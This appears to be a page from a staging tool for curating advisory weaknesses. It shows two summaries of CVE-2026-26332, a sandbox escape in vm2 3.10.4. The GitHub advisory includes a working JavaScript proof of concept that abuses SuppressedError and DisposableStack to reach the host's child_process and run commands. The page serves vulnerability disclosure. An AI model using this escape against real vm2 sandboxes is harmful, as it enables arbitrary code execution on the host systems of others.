Staging Environment: Content and features may be unstable or change without notice.

Advisory Weakness Curation

CVE-2026-26332

Progress 0 / 0

Advisory Summaries

github_osv/GHSA-55hx-c926-fr95

VM2 Has a Sandbox Escape Issue via SuppressedError In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code. ### PoC ```js const { VM } = require("vm2"); const vm = new VM(); vm.run(` const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:child_process"); execSync("echo pwned", { stdio: "inherit" }); } `); ```

gitlab/npm/vm2/CVE-2026-26332

VM2 Has a Sandbox Escape Issue via SuppressedError In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.